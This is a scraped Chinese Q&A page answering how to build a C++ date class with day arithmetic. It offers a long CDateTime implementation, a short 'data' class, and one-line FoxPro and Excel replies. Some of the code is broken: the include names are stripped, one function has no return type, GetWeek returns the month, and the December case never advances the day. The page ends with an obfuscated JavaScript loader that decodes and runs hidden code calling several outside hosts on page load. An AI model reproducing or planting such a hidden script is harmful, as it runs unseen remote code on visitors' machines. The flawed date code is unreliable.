1.设计一个日期类date,其中包含年、月、日等数据成员。要求实现日期的基本运算,如一日期加上天数、或减

2025-02-28 14:00:34
推荐回答(4个)
回答1:

// Date.h: interface for the CFCWorldDate class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_DATE_H__FF59967B_C0A3_4CF9_9054_8578E83FF3BD__INCLUDED_)
#define AFX_DATE_H__FF59967B_C0A3_4CF9_9054_8578E83FF3BD__INCLUDED_

#include
#include
#ifdef HAVE_UNISTD_H
#include
#endif
#include
#include

class CDateTime
{
struct _FORMAT
{
int local;
std::string Key;
};
public:
long m_lTime;
int m_iYear;
int m_iMonth;
int m_iDay;
int m_iHour;
int m_iMinute;
int m_iSecond;
int m_iWeek;

int m_iDiff;//UTC与LOCAL时间之间所差的秒数,用本地时间减去UTC时间
bool m_bLocal;
public:
//得到一个月的天数
int DaysInMonth();
//判断是否为润年
bool isLeapYear();

CDateTime(bool bLocal= false);//false表示构造的UTC时间,它构造的当前时间
CDateTime(int iYear,int iMonth,int iDay,int iHour,int iMinute,int iSecond,bool bLocal= false);//默认产生UTC时间
virtual ~CDateTime();
void Today(bool bLocal= false);//得到当前日期,默认产生UTC时间
int GetYear() {return m_iYear;}
int GetMonth(){ return m_iMonth ;}
int GetDay() { return m_iDay;}
int GetWeek() {return m_iMonth;}
CDateTime& AddYears(int iValue);
CDateTime& AddMonths(int iValue);
CDateTime& AddDays(int iValue);
CDateTime& AddWeeks(int iValue);
CDateTime& AddHours(int iValue);
CDateTime& AddMinutes(int iValue);
CDateTime& AddSeconds(int iValue);

//比较时间大小,如果比OtherDate大,返回1,如果相等,返回0,如果小于,返回-1
int Compare(CDateTime& OtherDate);

//格式化时间
std::string ToString(std::string sFormat="YYYY-MM-DD HH:MI:SS");
CDateTime StringToTime(std::string sDate,std::string sFormat="YYYY-MM-DD HH:MI:SS");

//把时间从UTC到本地时间转换
CDateTime& UTCToLocalTime();

//把时间从本地到UTC时间转换
CDateTime& LocalToUTCTime();

//得到两个时间相差的秒数
long operator-(CDateTime& DT);

private:
int GetWeekFromLongTime();
void ToTime(long lDate);
long ToLong();
};

#endif // !defined(AFX_DATE_H__FF59967B_C0A3_4CF9_9054_8578E83FF3BD__INCLUDED_)

// Date.cpp: implementation of the CDateTime class.
//
//////////////////////////////////////////////////////////////////////

#include "DateTime.h"
#include
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
const char *dayname[] = {"Sunday","Monday","Tuesday","Wednesday",
"Thursday","Friday","Saturday"} ;

const char *mname[] = {"January","February","March","April","May",
"June","July","August","September","October","November","December"};

static int MonDays[] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
CDateTime::CDateTime(bool bLocal)
{
m_bLocal = bLocal;
Today(bLocal);
}

CDateTime::~CDateTime()
{

}
CDateTime::CDateTime(int iYear,int iMonth,int iDay,int iHour,int iMinute,int iSecond,bool bLocal)//默认产生UTC时间
{
m_iYear = iYear;
m_iMonth = iMonth;
m_iDay = iDay;
m_iHour = iHour;
m_iMinute = iMinute;
m_iSecond = iSecond;

m_bLocal = bLocal;

m_lTime = ToLong();
ToTime(m_lTime);

}

void CDateTime::Today(bool bLocal)//得到当前日期,默认产生UTC时间
{
time_t t;
t= time(NULL);
struct tm *today;
m_bLocal = bLocal;
if(bLocal)
{
today = localtime( &t ); /* Convert to local time. */

}
else //UTC时间
{
today = gmtime( &t );

}
m_iYear = today->tm_year + 1900;
m_iMonth = today->tm_mon + 1;
m_iDay = today->tm_mday;
m_iWeek = today->tm_wday;
m_iHour = today->tm_hour;
m_iMinute = today->tm_min;
m_iSecond = today->tm_sec;
m_lTime = ToLong();

}
CDateTime& CDateTime::AddYears(int iValue)
{
if(iValue == 0)
{
return *this;
}
m_iYear += iValue;
m_lTime = ToLong();
return *this;
}
CDateTime& CDateTime::AddMonths(int iValue)
{
if(iValue == 0)
{
return *this;
}
iValue += m_iMonth; // Since month is of type unsigned char
// I choose to use nCount as the main
while (iValue < 1) // counter - TML
{
iValue += 12;
m_iYear--;
}

while (iValue > 12)
{
iValue -= 12;
m_iYear++;
}

m_iMonth = (unsigned char) iValue;
m_lTime = ToLong();
return *this;
}
CDateTime& CDateTime::AddDays(int iValue)
{
if(iValue == 0)
{
return *this;
}
m_lTime += iValue;
ToTime(m_lTime);
return *this;
}
CDateTime& CDateTime::AddWeeks(int iValue)
{
if(iValue == 0)
{
return *this;
}
m_lTime += 7 * iValue;
ToTime(m_lTime);
return *this;
}
CDateTime& CDateTime::AddHours(int iValue)
{
if(iValue == 0)
{
return *this;
}
iValue += m_iHour;
while(iValue < 0 )
{
m_lTime --;
iValue += 24;
}
while (iValue > 23)
{
m_lTime ++;
iValue -= 24;
}
m_iHour = iValue;
ToTime(m_lTime);
return *this;
}
CDateTime& CDateTime::AddMinutes(int iValue)
{
if(iValue == 0)
{
return *this;
}
int iHour = 0;
iValue += m_iMinute;
while(iValue < 0 )
{
iHour --;
iValue += 60;
}
while (iValue > 59)
{
iHour ++;
iValue -= 60;
}
m_iMinute = iValue;
AddHours(iHour);
return *this;

}
CDateTime& CDateTime::AddSeconds(int iValue)
{
if(iValue == 0)
{
return *this;
}
int iMinute = 0;
iValue += m_iSecond;
while(iValue < 0 )
{
iMinute --;
iValue += 60;
}
while (iValue > 59)
{
iMinute ++;
iValue -= 60;
}
m_iSecond = iValue;
AddMinutes(iMinute);
return *this;
}

int CDateTime::Compare(CDateTime& OtherDate)
{
if(m_lTime > OtherDate.m_lTime )
{
return 1; //大于
}
if(m_lTime < OtherDate.m_lTime)
{
return -1; //小于
}

if( m_iHour > OtherDate.m_iHour )
return 1;
if( m_iHour < OtherDate.m_iHour )
return -1;

if( m_iMinute> OtherDate.m_iMinute )
return 1;
if( m_iMinute < OtherDate.m_iMinute )
return -1;

if( m_iSecond > OtherDate.m_iSecond )
return 1;
if( m_iSecond < OtherDate.m_iSecond )
return -1;

return 0;
}
std::string CDateTime::ToString(std::string sFormat)
{
if(m_lTime <= 0)
{
return "";
}
_FORMAT pos[6];
int i,j;
int iCurPos = 0;
char sData[5];
std::string sTime;

pos[0].local = sFormat.find("YYYY");
pos[0].Key = "YYYY";
pos[1].local = sFormat.find("MM");

pos[1].Key = "MM";

pos[2].local = sFormat.find("DD");

pos[2].Key = "DD";

pos[3].local = sFormat.find("HH");

pos[3].Key = "HH";

pos[4].local = sFormat.find("MI");
pos[4].Key = "MI";

pos[5].local = sFormat.find("SS");
pos[5].Key = "SS";

for(i = 0; i < 6 ; i++)
{
if(pos[i].local == -1)
{
return "";
}
for(j = i + 1; j < 6 ; j ++)
{

if(pos[i].local > pos[j].local && pos[j].local!= -1)
{
_FORMAT temp;
temp = pos[i];
pos[i] = pos[j];
pos[j] = temp;
}
}

}

for(i = 0; i < 6; i++)
{

sTime += sFormat.substr(iCurPos,pos[i].local - iCurPos);
if(pos[i].Key == "YYYY")
{
memset(sData,0,5);
sprintf(sData,"%04d",m_iYear);
sTime += sData;
}
if(pos[i].Key == "MM")
{
memset(sData,0,5);
sprintf(sData,"%02d",m_iMonth);
sTime += sData;
}
if(pos[i].Key == "DD")
{
memset(sData,0,5);
sprintf(sData,"%02d",m_iDay);
sTime += sData;
}
if(pos[i].Key == "HH")
{
memset(sData,0,5);
sprintf(sData,"%02d",m_iHour);
sTime += sData;
}
if(pos[i].Key == "MI")
{
memset(sData,0,5);
sprintf(sData,"%02d",m_iMinute);
sTime += sData;
}
if(pos[i].Key == "SS")
{
memset(sData,0,5);
sprintf(sData,"%02d",m_iSecond);
sTime += sData;
}
iCurPos = pos[i].local + pos[i].Key.length() ;
}

return sTime;

}

CDateTime CDateTime::StringToTime(std::string sDate,std::string sFormat)
{
_FORMAT pos[6];
int i,j;
int iCurPos = 0;
char sData[5];
std::string sTime;
m_iYear = 0;
m_iMonth = 0;
m_iDay = 0;
m_iHour = 0;
m_iMinute = 0;
m_iSecond = 0;
m_iWeek = 0;
m_lTime = 0;

pos[0].local = sFormat.find("YYYY");
pos[0].Key = "YYYY";

pos[1].local = sFormat.find("MM");
pos[1].Key = "MM";

pos[2].local = sFormat.find("DD");
pos[2].Key = "DD";

pos[3].local = sFormat.find("HH");
pos[3].Key = "HH";

pos[4].local = sFormat.find("MI");
pos[4].Key = "MI";

pos[5].local = sFormat.find("SS");
pos[5].Key = "SS";

for(i = 0; i < 6 ; i++)
{
if(pos[i].local == -1)
{
return *this;
}
for(j = i + 1; j < 6 ; j ++)
{
if(pos[i].local > pos[j].local)
{
_FORMAT temp;
temp = pos[i];
pos[i] = pos[j];
pos[j] = temp;
}
}

}

for(i = 0; i < 6; i++)
{

memset(sData,0,5);
if(pos[i].local != -1)
{

if(sDate.length() < pos[i].local + pos[i].Key.length())
{
return *this;
}
strcpy(sData,sDate.substr(pos[i].local,pos[i].Key.length()).c_str());
}
else
{
continue;
}

if(pos[i].Key == "YYYY")
{

m_iYear = atoi(sData);

}
if(pos[i].Key == "MM")
{
m_iMonth = atoi(sData);
}
if(pos[i].Key == "DD")
{
m_iDay = atoi(sData);
}
if(pos[i].Key == "HH")
{
m_iHour = atoi(sData);

}
if(pos[i].Key == "MI")
{
m_iMinute = atoi(sData);

}
if(pos[i].Key == "SS")
{
m_iSecond = atoi(sData);
}

}
m_lTime = ToLong();
return *this;
}
CDateTime& CDateTime::UTCToLocalTime()
{
if(!m_bLocal && m_lTime > 0)
{
long sSeconds;
CDateTime local(true);
CDateTime UTC(false);
sSeconds = local- UTC;
AddSeconds(sSeconds);
m_bLocal = true;
}
return *this;
}
CDateTime& CDateTime::LocalToUTCTime()
{
if(m_bLocal && m_lTime > 0)
{
long sSeconds;
CDateTime local(true);
CDateTime UTC(false);
sSeconds = UTC- local;
AddSeconds(sSeconds);
m_bLocal = false;
}
return *this;
}

long CDateTime::operator-(CDateTime& DT)
{
long lSeconds = 0;
lSeconds = (m_lTime - DT.m_lTime) * 24 * 60 * 60;
lSeconds += m_iHour * 60 * 60 + m_iMinute * 60 + m_iSecond -
(DT.m_iHour * 60 * 60 + DT.m_iMinute * 60 + DT.m_iSecond);
return lSeconds;

}
long CDateTime::ToLong()
{
int a,b=0;

int work_month=m_iMonth, work_day=m_iDay, work_year=m_iYear;

// correct for negative year

if (work_year < 0)
work_year++;

if (work_month <= 2)
{
work_year--;
work_month +=12;
}

// deal with Gregorian calendar

if (work_year*10000. + work_month*100. + work_day >= 15821015.)
{
a = (int)(work_year/100.);
b = 2 - a + a/4;
}

m_lTime = (long) (365.25*work_year) +
(long) (30.6001 * (work_month+1)) + work_day + 1720994L + b ;
GetWeekFromLongTime();
return m_lTime;
}

void CDateTime::ToTime(long lDate)
{
long a,b,c,d,e,z,alpha;
z = lDate + 1;

// dealing with Gregorian calendar reform

if (z < 2299161L)
a = z;
else
{
alpha = (long) ((z-1867216.25) / 36524.25);
a = z + 1 + alpha - alpha/4;
}

b = ( a > 1721423 ? a + 1524 : a + 1158 );
c = (long) ((b - 122.1) / 365.25);
d = (long) (365.25 * c);
e = (long) ((b - d) / 30.6001);

m_iDay = (unsigned char)(b - d - (long)(30.6001 * e));
m_iMonth = (unsigned char)((e < 13.5) ? e - 1 : e - 13);
m_iYear = (int)((m_iMonth > 2.5 ) ? (c - 4716) : c - 4715);
GetWeekFromLongTime();
}

int CDateTime::GetWeekFromLongTime()
{
m_iWeek = (unsigned char) ((m_lTime + 1) % 7 + 1);
return m_iWeek;
}

bool CDateTime::isLeapYear()
{
return ( (m_iYear >= 1582) ?
(m_iYear % 4 == 0 && m_iYear % 100 != 0 || m_iYear % 400 == 0 ):
(m_iYear % 4 == 0) );
}

int CDateTime::DaysInMonth()
{
return MonDays[m_iMonth-1] + (m_iMonth==2 && isLeapYear());
}

回答2:

#include
#include
class data
{
public:
data(int,int,int);
runnian();
void addoneday();
void showdata();
private:
int year;
int month;
int day;
};
data::data(int d,int m,int y)
{
day=d;
month=m;
year=y;
}
data::runnian()
{
if(year%400==0)
return true;
else if (year%100!=0&&year%4==0)
return true;
else
return false;

}

void data::showdata()
{
cout<<"日期为:"<}

void data::addoneday()
{
if(month==1||month==3||month==5||month==7||month==8||month==10)
{
if(day==31)
{
day=1;
month++;
}
else
day++;
}
else if(month==12)
{
if(day==31)
{
month =1;
day=1;
year++;
}
}
else if(month==2)
{
if(runnian()&&day==29)
{
month++;
day=1;
}
else if(!runnian()&&day==28) //runnian=leapyear阳历或阴历中有闰日的年,或阴阳历中有闰月的年。
{
month++;
day=1;
}
else
day++;
}
else
{
if(day==30)
{
month++;
day=1;
}
else
day++;
}
}

int main()
{
data d(17,11,2010);
d.showdata();
d.addoneday();
d.showdata();

return 0;

}
运行结果:
日期为:17/11/2010
日期为:18/11/2010
Press any key to continue
能实现日期加+1

回答3:

VFP程序中运用命令窗口
例如?{^2010/11/17}+12
?{^2010/11/17}-15
?{^2010/11/17}-{^2009/11/17}
运行就可以得到结果了

回答4:

EXCEL

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();